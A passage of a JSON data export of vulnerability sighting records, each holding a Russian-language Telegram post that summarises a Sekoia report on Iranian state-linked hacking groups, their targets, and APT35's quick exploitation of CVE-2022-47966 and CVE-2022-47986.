\u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u043c\u043e\u0440\u0441\u043a\u0438\u0445 \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043e\u043a \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u0412 2023 \u0433\u043e\u0434\u0443 APT35 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u044b\u0441\u0442\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2022-47966 \u0438 CVE-2022-47986, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0445 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e \u043f\u044f\u0442\u0438 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d\u0438 \u0441\u0442\u0430\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438. \n\nSekoia \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u044b \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0418\u0440\u0430\u043d\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442 \u0440\u0430\u0441\u0442\u0438 \u043f\u043e \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0435\u0433\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u0430\u043d\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u0438 \u0441 \u0418\u0437\u0440\u0430\u0438\u043b\u0435\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0438\u0437-\u0437\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0443\u043b\u044c\u0442\u0440\u0430\u043a\u043e\u043d\u0441\u0435\u0440\u0432\u0430\u0442\u043e\u0440\u043e\u0432 \u043a \u0432\u043b\u0430\u0441\u0442\u0438.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://blog.sekoia.io/iran-cyber-threat-overview/ \n\n#\u0418\u0440\u0430\u043d #\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438", "creation_timestamp": "2026-07-26T02:02:24.841252Z"}, {"uuid": "765b076a-6a89-4fe0-9a85-892171ae9659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/EchelonEyes/1732", "content": "\u041e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430\n\n\u0424\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Sekoia \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044e \u0441 \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u0433\u0440\u043e\u0437\u044b, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0432\u0448\u0438\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u0430\u043c \u0418\u0440\u0430\u043d \u0431\u044b\u043b \u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0440\u0430\u0436\u0434\u0435\u0431\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 \u0432\u043e\u0437\u043c\u0435\u0437\u0434\u0438\u044f. \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044e \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0418\u0440\u0430\u043d \u0432\u044b\u043d\u0443\u0434\u0438\u043b\u0438 \u0434\u0432\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f: \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043f\u0435\u0440\u0435\u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0410\u0445\u043c\u0430\u0434\u0438\u043d\u0435\u0434\u0436\u0430\u0434\u0430 \u0432 2009 \u0433\u043e\u0434\u0443 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Stuxnet \u0432 2010, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0421\u0428\u0410 \u0438 \u0418\u0437\u0440\u0430\u0438\u043b\u044f \u0438 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0438\u0432\u0448\u0435\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433\u0438 \u043d\u0430 \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u043f\u043e \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u044e \u0443\u0440\u0430\u043d\u0430.\n\n\u0412 2022-2023 \u0433\u043e\u0434\u0430\u0445 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0422\u0435\u0433\u0435\u0440\u0430\u043d\u043e\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0443\u0441\u0438\u043b\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u043f\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e \u0421\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u0439 \u044f\u0434\u0435\u0440\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u044d\u0442\u0438\u043c \u0418\u0440\u0430\u043d \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u0441 \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0435\u0439.\n\n\u041d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044e, \u0418\u0440\u0430\u043d \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u043e\u043c, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c \u0434\u0432\u0443\u043c\u044f \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u041a\u043e\u0440\u043f\u0443\u0441\u043e\u043c \u0441\u0442\u0440\u0430\u0436\u0435\u0439 \u0438\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0440\u0435\u0432\u043e\u043b\u044e\u0446\u0438\u0438 (\u041a\u0421\u0418\u0420) \u0438 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 (MOIS).\n\n\u0413\u0440\u0443\u043f\u043f\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041a\u0421\u0418\u0420, \u2014 APT35, APT42, Nemesis Kitten \u0438 Cotton Sandstorm (ex-NEPTUNIUM) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0446\u0435\u043b\u044f\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438, \u0432\u043e\u0435\u043d\u043d\u044b\u043c\u0438, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043c\u043e\u0440\u0441\u043a\u0438\u043c\u0438 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u043c\u0438 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u043d\u0430\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430 \u0438 \u0411\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0412\u043e\u0441\u0442\u043e\u043a\u0430. \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u0432 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u044f \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436, \u0441\u0430\u0431\u043e\u0442\u0430\u0436, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438, \u0432 \u043c\u0435\u043d\u044c\u0448\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438.\n\n\u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0418\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0420\u0435\u0441\u043f\u0443\u0431\u043b\u0438\u043a\u0438 \u0418\u0440\u0430\u043d \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 \u0438 \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u043d\u044b\u043c \u0438 \u043c\u0435\u043d\u0435\u0435 \u0438\u0434\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0447\u0435\u043c \u041a\u0421\u0418\u0420. \n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u2014 MuddyWater, Oilrig (\u043e\u043d\u0430 \u0436\u0435 APT34), Hexane, Agrius \u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f DarkBit (\u043e\u043d\u0430 \u0436\u0435 DEV-1084) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0442\u0430\u043a\u0438\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0430, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438, \u043c\u043e\u0440\u0441\u043a\u043e\u0439 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e-\u0434\u0438\u0432\u0435\u0440\u0441\u0438\u043e\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u0438 \u0446\u0435\u043b\u044f\u0445 \u0432\u043b\u0438\u044f\u043d\u0438\u044f.\n\n\u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0435 \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u044b \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0441 \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \n\n\u0426\u0435\u043b\u0438 \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \n\n- \u0441\u0431\u043e\u0440 \u0440\u0430\u0437\u0432\u0435\u0434\u0434\u0430\u043d\u044b\u0445 \u0443 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u043e\u043f\u0435\u0440\u043d\u0438\u043a\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0418\u0437\u0440\u0430\u0438\u043b\u044c, \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0430\u044f \u0410\u0440\u0430\u0432\u0438\u044f \u0438 \u0441\u0442\u0440\u0430\u043d\u044b \u041f\u0435\u0440\u0441\u0438\u0434\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u043b\u0438\u0432\u0430;\n\n- \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0437\u0434\u0435\u0441\u044c \u0440\u0430\u0437\u0432\u0438\u0442 \u0448\u043f\u0438\u043e\u043d\u0430\u0436 \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b.\n\n- \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430 \u0441\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Saudi Aramco, \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0410\u043b\u0431\u0430\u043d\u0438\u0438, \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u0438\u0439 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u00ab\u0422\u0435\u0445\u043d\u0438\u043e\u043d\u00bb);\n\n-  \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438) \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u044f;\n\n- \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438, (\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043d\u0430\u043d\u044f\u0442\u044b\u043c\u0438 \u041a\u0421\u0418\u0420) \u2013 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443 \u0438 \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0443 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Log4J, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0421\u0428\u0410. \n\n\u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0418\u0440\u0430\u043d\u0430 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u043c\u043e\u0440\u0441\u043a\u0438\u0445 \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043e\u043a \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u0412 2023 \u0433\u043e\u0434\u0443 APT35 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u044b\u0441\u0442\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2022-47966 \u0438 CVE-2022-47986, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0445 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e \u043f\u044f\u0442\u0438 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d\u0438 \u0441\u0442\u0430\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438. \n\nSekoia \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u044b \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0418\u0440\u0430\u043d\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442 \u0440\u0430\u0441\u0442\u0438 \u043f\u043e \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0435\u0433\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u0430\u043d\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u0438 \u0441 \u0418\u0437\u0440\u0430\u0438\u043b\u0435\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0438\u0437-\u0437\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f 